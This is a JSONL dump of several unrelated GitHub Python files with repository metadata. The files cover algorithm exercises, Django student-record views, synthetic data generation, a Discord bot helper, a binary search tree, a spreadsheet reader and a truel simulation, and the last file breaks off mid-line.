backtrack(list, temp, i+1)\n temp.pop()\n\n lret, temp_list = [], []\n backtrack(lret, temp_list, 0)\n return lret\n\n","repo_name":"yangmingxuan/pythonalgorithms","sub_path":"arrayandsort/SubsetsII.py","file_name":"SubsetsII.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"43522719904","text":"from django.shortcuts import render, get_object_or_404, HttpResponseRedirect, redirect\nfrom .models import DatosPersonales\nfrom django.core.mail import send_mail\nfrom django.db.models import Q\n\nfrom .forms import InventarioForm, AlumnoForm\n\nimport datetime\n\n# Create your views here.\n\ndef consulta(request):\n\tif request.user.is_authenticated:\n\t\tuser_auth = request.user\n\t\tprint (user_auth)\n\t\tsearch = request.GET.get('search','')\n\t\tfilter_alumnos = request.GET.get('filter','')\n\t\t\n\t\tif search:\n\t\t\tquery = Q(nombre__icontains=search) | Q(apellido__icontains=search)\n\t\t\tlista_alumnos = DatosPersonales.objects.filter(query)\n\t\t\tif user_auth.username == 'maestro' or user_auth.username == 'jperez':\n\t\t\t\treturn render(request, 'alumnos.html', {'alumnos':lista_alumnos, 'usuario':user_auth})\n\t\t\telse:\n\t\t\t\treturn render(request, 'alumnos.html', {'alumnos':lista_alumnos})\n\t\t\n\t\telif filter_alumnos:\n\t\t\ttry:\n\t\t\t\ta = filter_alumnos.split('_')\n\t\t\t\ta1 = a[0]\n\t\t\t\ta2 = a[1]\n\t\t\t\tlista_alumnos = DatosPersonales.objects.filter(escolaridad_alum__escolaridad=a1).filter(grado=a2).order_by('apellido')\n\t\t\t\tif user_auth.username == 'maestro' or user_auth.username == 'jperez':\n\t\t\t\t\treturn render(request, 'alumnos.html', {'alumnos':lista_alumnos, 'usuario':user_auth})\n\t\t\t\telse:\n\t\t\t\t\treturn render(request, 'alumnos.html', {'alumnos':lista_alumnos})\n\t\t\texcept:\t\n\t\t\t\tlista_alumnos = DatosPersonales.objects.filter(escolaridad_alum__escolaridad=filter_alumnos).order_by('grado','apellido')\n\t\t\t\treturn render(request, 'alumnos.html', {'alumnos':lista_alumnos})\n\t\telse:\n\t\t\tlista_alumnos = DatosPersonales.objects.order_by('escolaridad_alum', 'grado','apellido')\n\t\t\tif user_auth.username == 'maestro' or user_auth.username == 'jperez':\n\t\t\t\treturn render(request, 'alumnos.html', {'alumnos':lista_alumnos, 'usuario':user_auth})\n\t\t\telse:\n\t\t\t\t\n\t\t\t\treturn render(request, 'alumnos.html', {'alumnos':lista_alumnos})\n\t\n\telse:\n\t\treturn render(request, 'alumnos.html', {})\n\ndef consultaespecifica(request, id):\n\tif request.user.is_authenticated:\n\t\tinstance = get_object_or_404(DatosPersonales, id=id)\n\t\tfecha_actual = datetime.datetime.now()\n\t\tmi_fecha = instance.nacimiento\n\t\tprint (fecha_actual, mi_fecha)\n\t\tif ((fecha_actual.month <= mi_fecha.month) & (fecha_actual.day <= mi_fecha.day)):\n\t\t\tedad = fecha_actual.year - mi_fecha.year - 1\n\t\t\tprint(edad)\n\t\telse:\n\t\t\tedad = fecha_actual.year - mi_fecha.year\n\t\t\tprint(edad)\n\n\t\treturn render(request, 'alumno_data.html', {'instance':instance, 'edad':edad})\n\telse:\n\t\treturn render(request, 'alumno_data.html', {'autentificacion':'Favor de autentificarse'})\n\ndef inventario_update(request, id=None):\n\tinstance = get_object_or_404(DatosPersonales, id=id)\n\tformulario = InventarioForm(request.POST or None, instance=instance)\n\tif formulario.is_valid():\n\t\tinstance = formulario.save(commit=False)\n\t\tinstance.save()\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n\n\treturn render(request, 'inventario_form.html', {'form':formulario,'instance': instance})\n\ndef correo(request):\n\tif request.user.is_authenticated:\n\t\tuser_auth = request.user\n\t\tif user_auth.username == maestro:\n\t\t\tif form.is_valid():\n\t\t\t subject = form.cleaned_data['subject']\n\t\t\t message = form.cleaned_data['message']\n\t\t\t sender = form.cleaned_data['sender']\n\t\t\t cc_myself = form.cleaned_data['cc_myself']\n\n\t\t\t recipients = ['info@example.com']\n\t\t\t if cc_myself:\n\t\t\t recipients.append(sender)\n\n\t\t\t send_mail(subject, message, sender, recipients)\n\t\t\t return HttpResponseRedirect('/thanks/')\n\ndef cumple(request):\n\tmes = datetime.datetime.now().month\n\tmes_letra = datetime.datetime.now()\n\tdia = datetime.datetime.now().day\n\tprint(dia)\n\tinstance = DatosPersonales.objects.filter(nacimiento__month=mes)\n\tcontext = {\n\t\t'mes':mes_letra, 'instance':instance, 'dia':dia\n\t}\n\treturn render(request, 'cumple.html', context)\n\ndef alumno_add(request):\n\tform = AlumnoForm()\n\tif request.method == 'POST':\n\t\tform = AlumnoForm(request.post)\n\t\tif form.is_valid():\n\t\t\tinstance = form.save(commit=False)\n\t\t\tinstance.save()\n\t\t\treturn redirect('alumnos')\n\treturn render(request, 'alumno_add.html', {'form':form})\n\ndef alumno_edit(request,id):\n\tinstance = get_object_or_404(DatosPersonales, id=id)\n\tformulario = AlumnoForm(request.POST or None, instance=instance)\n\tif formulario.is_valid():\n\t\tinstance = formulario.save(commit=False)\n\t\tinstance.save()\n\t\treturn redirect('alumnos')\n\n\treturn render(request, 'inventario_form.html', {'form': formulario, 'instance': instance})","repo_name":"rojocharlie/oxford","sub_path":"alumnos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6197869698","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import make_moons\nfrom sklearn.decomposition import PCA\nfrom sklearn.metrics import mean_squared_error\n\ndef mse_between_vectors(vec1, vec2):\n mse_sum = 0\n for i in range(len(vec1)):\n for j in range(len(vec2)):\n mse_sum += mean_squared_error(vec1[i], vec2[j])\n return mse_sum / (len(vec1) * len(vec2))\n\n\ndef mean_squared_distance(x):\n n_samples, n_dims = x.shape\n distances = np.zeros((n_samples, n_dims, n_dims))\n for i in range(n_samples):\n for j in range(n_dims):\n for k in range(j+1, n_dims):\n distances[i, j, k] = (x[i, j] - x[i, k])**2\n mean_distance = np.mean(distances)\n return mean_distance\n\n\ndef get_label_mse(X_transformed, y):\n unique_labels = np.unique(y)\n label_mses = []\n label_combination_mses = []\n\n for label in unique_labels:\n label_indices = np.where(y == label)[0]\n label_data = X_transformed[label_indices]\n label_mse = mse_between_vectors(label_data,label_data)\n label_mses.append(label_mse)\n\n for other_label in unique_labels:\n if other_label == label:\n continue\n other_label_indices = np.where(y == other_label)[0]\n other_label_data = X_transformed[other_label_indices]\n label_combination_mse = mse_between_vectors(label_data, other_label_data)\n label_combination_mses.append(label_combination_mse)\n\n return label_mses, label_combination_mses\n\ndef add_random_noise(X_transformed, noise_level=3):\n # Compute the mean and standard deviation of the data\n X_mean = np.mean(X_transformed, axis=0)\n X_std = np.std(X_transformed, axis=0)\n\n # Generate noise with the same shape as X_transformed\n noise = np.random.normal(loc=0.0, scale=noise_level*X_std, size=X_transformed.shape)\n\n # Add noise to the data\n X_noisy = X_transformed + noise\n\n return X_noisy\n\n\ndef add_relative_uniform_noise(X, d, min_mul, max_mul):\n # perform PCA decomposition\n pca = PCA(n_components=d)\n X_pca = pca.fit_transform(X)\n X_pca_noisy = np.copy(X_pca)\n\n # get the number of samples and dimensions\n n_samples, n_dims = X_pca.shape\n\n # randomly select half of the samples\n sample_indices = np.random.choice(n_samples, size=n_samples // 2, replace=False)\n\n # generate uniform multipliers for each dimension of each selected sample\n multipliers = np.random.uniform(min_mul, max_mul, size=(len(sample_indices), n_dims))\n print(\"multipliers \", multipliers.shape)\n\n # multiply the selected samples with the generated multipliers\n X_pca_noisy[sample_indices] *= multipliers\n\n # perform PCA reconstruction\n X_noisy = pca.inverse_transform(X_pca_noisy)\n return X_noisy\n\n\ndef mask_data(data, mask_prob):\n \"\"\"\n Masks a percentage of dimensions in each sample of the input data randomly.\n\n Args:\n data (numpy.ndarray): The input data with shape (n_samples, n_dims).\n mask_prob (float): The percentage of dimensions to be masked (between 0 and 1).\n\n Returns:\n numpy.ndarray: The masked data with shape (n_samples, n_dims).\n \"\"\"\n n_samples, n_dims = data.shape\n n_masked_dims = int(n_dims * mask_prob)\n masked_data = data.copy()\n\n for i in range(n_samples):\n masked_dims = np.random.choice(n_dims, n_masked_dims, replace=False)\n masked_data[i, masked_dims] = 0\n\n return masked_data\n\ndef generate_data(n_samples,three_classes = False):\n\n if three_classes:\n group_samples = n_samples //3\n # Generate label 0 data\n x0 = np.random.uniform(-4, 4, group_samples)\n y0 = np.random.normal(1.5, 1.5, group_samples)\n\n # Generate label 1 data\n x1 = np.random.normal(5, 1.5, group_samples)\n y1 = np.random.uniform(-4, 4, group_samples)\n\n # Generate label 2 data\n x2 = np.random.normal(5, 1.5, group_samples)\n y2 = np.random.normal(-5,1, group_samples)\n\n # Combine data and labels\n X = np.concatenate((np.stack((x0, y0), axis=-1),\n np.stack((x1, y1), axis=-1),\n np.stack((x2, y2), axis=-1)))\n\n y = np.concatenate((np.zeros(group_samples),\n np.ones(group_samples),\n np.full(group_samples, 2)))\n # plot_data(X, y)\n X = (X - np.mean(X, axis=0)) / np.std(X, axis=0)\n return X, y\n\n\n half_samples = n_samples // 2\n\n # Generate label 0 data\n x0 = np.random.uniform(-2, 2, half_samples)\n y0 = np.random.normal(1.5, 0.5, half_samples)\n\n # Generate label 1 data\n x1 = np.random.normal(1.5, 0.5, half_samples)\n y1 = np.random.uniform(-2, 2, half_samples)\n\n # Combine data and labels\n X = np.concatenate((np.stack((x0, y0), axis=-1),\n np.stack((x1, y1), axis=-1)))\n y = np.concatenate((np.ones(half_samples), np.zeros(half_samples)))\n\n return X, y\n\n\ndef add_noise_to_data(X,d_noise):\n noise_means = np.random.uniform(-2, 2, d_noise)\n noise_stds = np.random.normal(2, 0, d_noise)\n noise_matrix = np.random.normal(noise_means, noise_stds, size=(len(X), d_noise))\n\n\n X_noisy = np.concatenate([X, noise_matrix], axis=1)\n # X_noisy = (X_noisy - np.mean(X_noisy, axis=0)) / np.std(X_noisy, axis=0)\n\n return X_noisy\n\n\ndef plot_data(X, y):\n labels = np.unique(y)\n num_labels = len(labels)\n colors = plt.cm.rainbow(np.linspace(0, 1, num_labels))\n\n fig, ax = plt.subplots()\n for i, label in enumerate(labels):\n mask = np.where(y == label, True, False)\n ax.scatter(X[mask, 0], X[mask, 1], c=colors[i], label='Label {}'.format(label))\n\n ax.set_xlabel('X')\n ax.set_ylabel('Y')\n ax.set_title('Generated Data')\n ax.legend(title='Labels', loc='upper left')\n\n plt.savefig('generated_data.png')\n plt.show()\n\n\ndef transform_data(X, d):\n # generate transformation matrix V using MGS algorithm\n V = np.random.randn(d, X.shape[1])\n Q, R = np.linalg.qr(V)\n V = Q.T\n # normalize V\n norm = np.linalg.norm(V, axis=1)\n V = (V.T / norm)\n # transform X\n X_transformed = np.dot(X, V.T)\n # return transformed data and inverse transformation matrix\n return X_transformed, V\n\ndef get_data(n_samples, d, d_noise,three_classes = False):\n X, y = generate_data(n_samples,three_classes)\n X_normalized = (X - np.mean(X, axis=0)) / np.std(X, axis=0)\n X_transformed, V = transform_data(X_normalized, d=d)\n X_transformed_normalized = (X_transformed - np.mean(X_transformed, axis=0)) / np.std(X_transformed, axis=0)\n # X_transformed_noise_added = add_random_noise(X_transformed, noise_level=0.5)\n X_transformed_noise_concat = add_noise_to_data(X_transformed_normalized, d_noise)\n # plot_data(X_normalized,y)\n # label_mses, label_combination_mses = get_label_mse(X_transformed, y)\n # print(\"mse before noising:\")\n # print(\"label mses:\", label_mses, \" label combination mses:\", label_combination_mses)\n return X_transformed_noise_concat, y\n\ndef get_moons_data(n_samples, d, d_noise,noise = True):\n X, y = make_moons(n_samples=n_samples, noise=0.1)\n X_normalized = (X - np.mean(X, axis=0)) / np.std(X, axis=0)\n X_transformed, V = transform_data(X_normalized, d=d)\n X_transformed_normalized = (X_transformed - np.mean(X_transformed, axis=0)) / np.std(X_transformed, axis=0)\n if noise:\n # X_transformed_noise_added = add_random_noise(X_transformed, noise_level=0.5)\n X_transformed_noise_concat = add_noise_to_data(X_transformed_normalized, d_noise)\n return X_transformed_noise_concat, y\n\n return X_transformed_normalized, y\n\nif __name__ == '__main__':\n X_transformed_noise_added, y = get_data(100,5,20)\n # print(\"mse after noising:\")\n # label_mses, label_combination_mses = get_label_mse(X_transformed_noise_added, y)\n # print(\"label mses:\", label_mses, \" label combination mses:\", label_combination_mses)","repo_name":"erelnaor3/SSL_with_data_transforming","sub_path":"two_class_data_generation.py","file_name":"two_class_data_generation.py","file_ext":"py","file_size_in_byte":7973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73471711625","text":"class Solution:\n def countSubstrings(self, s: str) -> int:\n dp = [[0]*len(s) for _ in range(len(s))]\n output = 0\n for i in range(len(s)):\n dp[i][i] = 1\n output += 1\n for le in range(1, len(s)):\n for i in range(len(s)-le):\n #print(i, le)\n mid = (le + 1)//2\n fstart = i\n fend = i + mid \n sstart = i+ mid\n send = i+ le + 1\n if (le + 1) % 2 != 0:\n sstart += 1\n #print(\"dfsd\",fstart, fend, sstart, send, s[fstart:fend], s[sstart:send][::-1])\n # dp[fstart][fend-1] == 1 and dp[sstart][send-1] == 1 and \n if s[fstart:fend] == s[sstart:send][::-1]:\n dp[i][i+le] = 1\n output += 1\n #print(dp)\n return output\n","repo_name":"gauravaror/programming","sub_path":"countSubStrings.py","file_name":"countSubStrings.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12311903443","text":"# bossbadi's discord bot: embed commands module\n\nfrom bot.embed.cmds_desc import *\n\n\ndef embed_help(discord):\n color = discord.Color(0).green()\n embed = discord.Embed(title=\"NumericBoss's commands\", description=DESC_MAIN, colour=color)\n embed.set_footer(text=EMBED_FOOTER)\n return embed\n\n\ndef embed_about(discord, a_talk, BOT_LOG):\n color = discord.Color(0).green()\n embed = discord.Embed(title=\"About NumericBoss\",\n description=BOT_INFO.format(a_talk, BOT_LOG),\n colour=color)\n return embed","repo_name":"bossbadi/public-NumericBoss","sub_path":"bot/embed/embed_cmds.py","file_name":"embed_cmds.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"3228429978","text":"#!/usr/bin/env python3\r\n'''\r\n Binary search tree (BST) class file\r\n'''\r\n\r\n\r\nclass Node:\r\n '''\r\n Node class for binary search tree\r\n '''\r\n\r\n def __init__(self, value, left=None, right=None):\r\n '''\r\n Initialization of Node class for the BST\r\n\r\n Parameters:\r\n value [integer]: the value of the node\r\n left [obj]: the left child of the node\r\n right [obj]: the right child of the node\r\n '''\r\n self.value = value\r\n self.left = left\r\n self.right = right\r\n\r\n def __repr__(self):\r\n '''\r\n Print representation of a node of the BST\r\n\r\n Returns:\r\n The string representation of the tree\r\n '''\r\n return '{}'.format(self.value)\r\n\r\n\r\nclass BinarySearchTree:\r\n '''\r\n Binary Search Tree class\r\n '''\r\n\r\n def __init__(self, root=None):\r\n '''\r\n Initialization of the binary search tree structure\r\n\r\n Parameters:\r\n root [obj]: the root node of the tree\r\n '''\r\n self.root = root\r\n\r\n def __repr__(self):\r\n '''\r\n Print representation of the binary search tree\r\n\r\n Returns:\r\n The string representation of the tree\r\n '''\r\n tree = []\r\n\r\n def fillTree(root, subtree):\r\n '''\r\n Creates a list of lists representation of the BST\r\n The lists are of the following format:\r\n [root, [left_subtree], [right_subtree]]\r\n\r\n Parameters:\r\n root [obj]: the root of the tree\r\n root [list]: the subtree of the root\r\n\r\n Returns:\r\n String representation of the tree\r\n\r\n Example:\r\n 41\r\n | |\r\n 20 65\r\n | | |\r\n 11 32 50\r\n\r\n ==> [41,\r\n [20, [11, [], []], [32, [], []]],\r\n [65, [50, [], []], []]]\r\n '''\r\n if root is not None:\r\n subtree.append(root.value)\r\n subtree.append([])\r\n subtree.append([])\r\n if root.left:\r\n fillTree(root.left, subtree[1])\r\n if root.right:\r\n fillTree(root.right, subtree[2])\r\n if self.root is not None:\r\n fillTree(self.root, tree)\r\n return '{}'.format(tree)\r\n\r\n def insert(self, value):\r\n '''\r\n Inserts a node into the BST\r\n O(logn)\r\n\r\n Parameters:\r\n value [integer]: the value to add to the BST\r\n\r\n Returns:\r\n The BST instance\r\n '''\r\n newNode = Node(value)\r\n if self.root is None:\r\n self.root = newNode\r\n return self\r\n else:\r\n current = self.root\r\n while True:\r\n if value == current.value:\r\n return None\r\n if value < current.value:\r\n if current.left is None:\r\n current.left = newNode\r\n return self\r\n current = current.left\r\n else:\r\n if current.right is None:\r\n current.right = newNode\r\n return self\r\n current = current.right\r\n\r\n def contains(self, value):\r\n '''\r\n Returns whether a value is in the BST\r\n O(logn)\r\n\r\n Parameters:\r\n value [integer]: the value to check in the BST\r\n\r\n Returns:\r\n True or False based on whether the value is found\r\n '''\r\n if self.root is None:\r\n return False\r\n current = self.root\r\n while current:\r\n if value < current.value:\r\n current = current.left\r\n elif value > current.value:\r\n current = current.right\r\n else:\r\n return True\r\n return False\r\n\r\n def find(self, value):\r\n '''\r\n Finds a node with a specified value in the BST\r\n O(logn)\r\n\r\n Parameters:\r\n value [integer]: the value to search for in BST\r\n\r\n Returns:\r\n The node that contains the value\r\n '''\r\n if self.root is None:\r\n return None\r\n current = self.root\r\n found = False\r\n while current and found is False:\r\n if value < current.value:\r\n current = current.left\r\n elif value > current.value:\r\n current = current.right\r\n else:\r\n found = True\r\n if found is False:\r\n return None\r\n return current\r\n\r\n # Tree traversal algorithms\r\n def breadthFirstSearch(self):\r\n '''\r\n Traverses the tree using breadth first search\r\n Traversal method for unsorted binary tree\r\n O(n)\r\n\r\n Returns:\r\n The BST in proper order\r\n '''\r\n data = []\r\n queue = []\r\n node = self.root\r\n queue.append(node)\r\n while len(queue) > 0:\r\n node = queue.pop(0)\r\n data.append(node)\r\n if node.left:\r\n queue.append(node.left)\r\n if node.right:\r\n queue.append(node.right)\r\n return data\r\n\r\n def depthFirstPreorder(self):\r\n '''\r\n Depth first preorder traversal\r\n For traversal of unsorted binary trees\r\n Traverse root, traverse left, traverse right\r\n O(n)\r\n \r\n Returns:\r\n A list of all nodes in order\r\n '''\r\n data = []\r\n\r\n def traverse(node):\r\n '''\r\n Traverses the tree in a specific order\r\n\r\n Parameters:\r\n node [obj]: the root node of the subtree\r\n '''\r\n data.append(node)\r\n if node.left:\r\n traverse(node.left)\r\n if node.right:\r\n traverse(node.right)\r\n traverse(self.root)\r\n return data\r\n\r\n def depthFirstPostorder(self):\r\n '''\r\n Depth first preorder traversal\r\n For traversal of unsorted binary tree\r\n Traverse left, traverse right, traverse root\r\n O(n)\r\n\r\n Returns:\r\n A list of all nodes in order\r\n '''\r\n data = []\r\n\r\n def traverse(node):\r\n '''\r\n Traverses the tree in a specific order\r\n\r\n Parameters:\r\n node [obj]: the root node of the subtree\r\n '''\r\n if node.left:\r\n traverse(node.left)\r\n if node.right:\r\n traverse(node.right)\r\n data.append(node)\r\n traverse(self.root)\r\n return data\r\n\r\n def depthFirstInorder(self):\r\n '''\r\n Depth first inorder traversal\r\n For traversal of unsorted binary tree\r\n Traverse left, traverse root, traverse right\r\n O(n)\r\n\r\n \r\n Returns:\r\n A list of all nodes in order\r\n '''\r\n data = []\r\n\r\n def traverse(node):\r\n '''\r\n Traverses the tree in a specific order\r\n\r\n Parameters:\r\n node [obj]: the root node of the subtree\r\n '''\r\n if node.left:\r\n traverse(node.left)\r\n data.append(node)\r\n if node.right:\r\n traverse(node.right)\r\n traverse(self.root)\r\n return data\r\n","repo_name":"dkwok94/python_data_structures_and_algorithms","sub_path":"Data_Structures/binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":7802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72879388105","text":"import os\nimport csv\nimport xlrd # reading .xlsx or .xls\nimport xlwt # writing .xlsx or .xls\nimport logging\n\nclass Spreadsheet:\n \"\"\" generalized spreadsheet reader. Works with .xlsx, .xls, and .csv \"\"\"\n def __init__(self, path):\n self.path = path\n \n ext = os.path.splitext(self.path)[1]\n print(ext)\n if ext == '.csv':\n self.isCSV = True # True if CSV, false if XLSX or XLS\n with open(path, 'r') as f:\n self.sheet = list(csv.reader(f))\n\n elif ext in ['.xlsx', '.xls']:\n self.isCSV = False\n self.workbook = xlrd.open_workbook(path)\n self.sheet = self.workbook.sheet_by_index(0)\n self.s_names = self.workbook.sheet_names()\n \n else:\n raise Exception\n\n def get_sheet(self, num): # thows error on CSVs\n if self.isCSV:\n logging.error('CSV does not support sheets')\n return\n elif num >= len(self.s_names):\n logging.error('not enough sheets: ' + str(num) + ' >= ' + str(len(self.s_names)))\n return\n\n return self.workbook.sheet_by_index(num)\n\n def change_sheet(self, num): # thows error on CSVs\n if self.isCSV:\n logging.error('CSV does not support sheets')\n return\n elif num >= len(self.s_names):\n logging.error('not enough sheets: ' + str(num) + ' >= ' + str(len(self.s_names)))\n return\n\n self.sheet = self.workbook.sheet_by_index(num)\n \n def sheet_names(self):\n if self.isCSV:\n logging.error('CSV does not support sheets')\n return\n \n return self.s_names\n\n def __getitem__(self, r): # get a row\n if self.isCSV:\n return self.sheet[r]\n else:\n return [cell.value for cell in self.sheet.row(r)]\n\ndef test():\n files = ['05_2020_real_income_and_outlays.xlsx', '06_2020_retail_sales_MoM.xls',\n '06_2020_business_inventories.xls', 'business_confidence.csv', 'housing_starts.csv',\n 'capacity_utilization.csv', 'industrial_production.csv']\n\n for f in files:\n s = Spreadsheet(os.path.join('data', f))\n if not s.isCSV:\n print(s.sheet_names())\n\n print(s[0][0]) \n\n for cell in s[0]:\n print(cell)","repo_name":"kylesadler/pysheet","sub_path":"code_to_merge.py","file_name":"code_to_merge.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12303631699","text":"from .. import graph, using, style\nfrom ..util import shorten_strings, calc_bar_chart_height\nfrom flask_babel import gettext as _l\nimport pygal\n\n\ndef create_graph(group_inter, limit=None):\n if limit is not None:\n group_inter = group_inter.tail(limit)\n\n height = calc_bar_chart_height(group_inter)\n group_chart = pygal.HorizontalBar(style=style, show_legend=False, height=height)\n group_chart.x_labels = shorten_strings(group_inter.name, width=40)\n group_chart.add('', group_inter.value)\n return group_chart\n\n\n@graph(_l('Number of interactions with groups'))\n@using('group_interactions')\ndef group_interactions(data):\n group_inter = data['group_interactions'].sort_values(by='value')\n return create_graph(group_inter, 30), create_graph(group_inter)\n","repo_name":"klima7/Social-Insight","sub_path":"analytics/other/group_interactions.py","file_name":"group_interactions.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"8657390670","text":"#Britt Binler\n#CIT 592, Truel Simulation\n#Fall 2015\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.mlab as mlab\nimport random\nimport sys\nimport copy\nimport operator\nimport pprint as pprint\nimport expectedBullets\n\n################## This method credited to:\n## http://stackoverflow.com/questions/4866587/pythonic-way-to-reset-an-objects-variables\ndef resettable(f):\n\tdef __init_and_copy__(self, *args):\n\t\tf(self, *args)\n\t\tself.__original_dict__ = copy.deepcopy(self.__dict__)\n\n\t\tdef reset(o = self):\n\t\t\to.__dict__ = o.__original_dict__\n\n\t\tself.reset = reset\n\n\treturn __init_and_copy__\n##################\n\n\n###############################\n###############################\nclass Shooter:\n\t@resettable\n\tdef __init__(self, hit_probability = 1.0, name = \"\"):\n\t\tself.hit_probability = hit_probability\n\t\tself.is_alive = True\n\t\tself.name = \"\"\n\t\tself.bullets_shot = 0\n\t\tself.number = 0\n\n\tdef get_is_alive(self):\n\t\treturn self.is_alive\n\n\tdef get_hit_probability(self):\n\t\treturn self.hit_probability\n\n\tdef get_name(self):\n\t\treturn self.name\n\n\tdef get_bullets_shot(self):\n\t\treturn self.bullets_shot\n\n\tdef get_wins(self):\n\t\treturn self.wins\n\n\tdef is_shot(self):\n\t\tself.is_alive = False\n\n\n###############################\n###############################\n\n\nclass Truel:\n\t@resettable\n\tdef __init__(self, shooters, strategy, starter):\n\t\tself.hit_count = 0\n\t\tself.bullets_shot = 0\n\t\tself.shooters = shooters\n\t\tself.num_shooters = len(shooters)\n\t\tself.strategy = strategy\n\t\tself.first_shooter = starter #shooter object\n\t\tself.alive = self.shooters[:] #list of shooter objects\n\t\tself.killed = [] #list of shooter objects\n\t\tself.bullet_results = [] #list of shooter objects\n\t\tself.results = [] #list of ints\n\n\tdef reset(self):\n\t\tself.hit_count = 0\n\t\tself.bullets_shot = 0\n\t\tself.alive = self.shooters[:] #list of shooter objects\n\t\tself.num_shooters = len(self.shooters)\n\t\tself.killed = [] #list of shooter objects\n\n\n################################### get functions\n\n\tdef get_hit_count(self):\n\t\treturn self.hit_count\n\n\tdef get_strategy(self):\n\t\treturn self.strategy\n\n\tdef get_shots_fired(self):\n\t\treturn self.shots_fired\n\n\tdef get_shooters(self):\n\t\treturn self.shooters\n\n\tdef get_num_shooters(self):\n\t\treturn self.num_shooters\n\n\tdef get_alive(self):\n\t\treturn self.alive\n\n\tdef get_killed(self):\n\t\treturn self.killed\n\n\tdef get_bullet_results(self):\n\t\treturn self.bullet_results\n\n\tdef get_bullets_shot(self):\n\t\treturn self.bullets_shot\n\n\tdef get_results(self):\n\t\treturn self.results\n\n\n\n##################################\n\n\tdef truel_complete(self):\n\t\treturn self.hit_count == 2\n\n\tdef find_next_best_shooter(self, person, shooters):\n\t\t#person is an object, shooters is a list of objects\n\t\tshooters_by_accuracy = {}\n\t\ttry:\n\t\t\tfor shooter in shooters:\n\t\t\t\t#adds shooters to dictionary with hit probability as keys\n\t\t\t\tshooters_by_accuracy[shooter.get_hit_probability()] = shooter\n\t\t\t\tbest_shooter = shooters_by_accuracy[max(shooters_by_accuracy.keys())]\n\t\t\tif person == best_shooter:\n\t\t\t\t#if the person shooting is the best shooter, assigns next best shooter\n\t\t\t\tdel shooters_by_accuracy[max(shooters_by_accuracy.keys())]\n\t\t\t\tbest_shooter = shooters_by_accuracy[max(shooters_by_accuracy.keys())]\n\t\t\treturn best_shooter\n\t\texcept ValueError:\n\t\t\tpass\n\t\t\n\tdef hit_best_shooter(self, best_shooter):\n\t\tbest_shooter.is_shot()\n\t\tself.hit_count = self.hit_count + 1 #increment total hit count\n\t\tself.killed.append(best_shooter)\n\t\tdel self.alive[self.alive.index(best_shooter)]\n\t\treturn self.killed\n\n\tdef check_if_hits_target(self, shooter):\n\t\tr = random.uniform(0,1)\n\t\tif shooter.get_hit_probability() > r:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef set_alive(self):\n\t\tfor shooter in self.shooters:\n\t\t\tself.alive.append(shooter)\t\n\t\treturn self.alive\n\n##################################\n\n\t#Strategy 1: first_shooter shoots in air, everyone then shoots at next most accurate person\n\tdef strategy1(self):\n\t\t# self.alive = self.set_alive()\n\t\t# start = shooters.index(first_shooter) + 1\n\t\t# # print(shooters)\n\t\t# for person in self.shooters[start:]: \n\t\t# \tbest_shooter = self.find_next_best_shooter(person, self.shooters)\n\t\t# \tr = random.uniform(0,1)\n\t\t# \tprint(r, 'is r in strategy1')\n\t\t# \tif person.get_hit_probability() > r:\n\t\t# \t\twinner = self.hit_best_shooter(person, best_shooter)\n\t\t# \t\tbest_shooter = self.find_next_best_shooter(person, self.alive)\n\t\t# \t# print(self.hit_count)\n\t\t# if self.truel_complete():\n\t\t# \twinner = self.shooters[0]\n\t\t# \tprint(winner.get_name(), \"wins!\")\n\t\t# else:\n\t\t# \twinner = self.strategy2(self.shooters)\n\n\t\t# winner = self.shooters[0]\n\t\t# return winner\n\t\tpass\n\n\t#Strategy 2: first_shooter shoots at best_shooter\n\tdef strategy2(self):\n\t\t'''User-selected shooter will shoot at next most accurate shooter.\n\t\tEach shooter will shoot at the most accurate shooter that remains alive. Returns a list of survivors.'''\n\t\t#TODO: shooters ordered by hit_probability low to high\n\t\n\t\twhile not self.truel_complete():\n\t\t\tfor shooter in self.shooters:\n\n\t\t\t\tif shooter not in self.killed:\n\t\t\t\t\tself.bullets_shot = self.bullets_shot + 1\n\t\t\t\t\tshooter.bullets_shot = shooter.bullets_shot + 1\n\t\t\t\t\tbest_shooter = self.find_next_best_shooter(shooter, self.alive)\n\t\t\t\t\tif self.check_if_hits_target(shooter):\n\t\t\t\t\t\tself.killed = self.hit_best_shooter(best_shooter)\n\n\t\twinner = self.alive[0]\n\t\tprint(winner.get_name(), \"wins!\")\n\t\treturn winner #shooter\n\n\t#Strategy 3: first_shooter shoots at second_best_shooter\n\tdef strategy3(self, shooters, first_shooter):\n\t\t# self.alive = copy.deepcopy(self.shooters)\n\t\t# result = self.shoot_at_best_shooter(self.shooters[0], self.shooters[1])\n\n\t\t# for person in self.shooters[1:]: #skip first element, PersonA 'shoots in air'\n\t\t# \tbest_shooter = self.find_next_best_shooter(person, self.shooters)\n\t\t# \twinner = self.shoot_at_best_shooter(person, best_shooter)\n\t\t# if not self.truel_complete():\n\t\t# \twinner = self.strategy2(self.shooters)\n\t\t# return winner\n\t\tpass\n\n\n\t# def resettable(f):\n\t# \tdef __init_and_copy__(self, *args):\n\t# \t\tf(self, *args)\n\t# \t\tself.__original_dict__ = copy.deepcopy(self.__dict__)\n\n\t# \t\tdef reset(o = self):\n\t# \t\t\to.__dict__ = o.__original_dict__\n\n\t# \t\tself.reset = 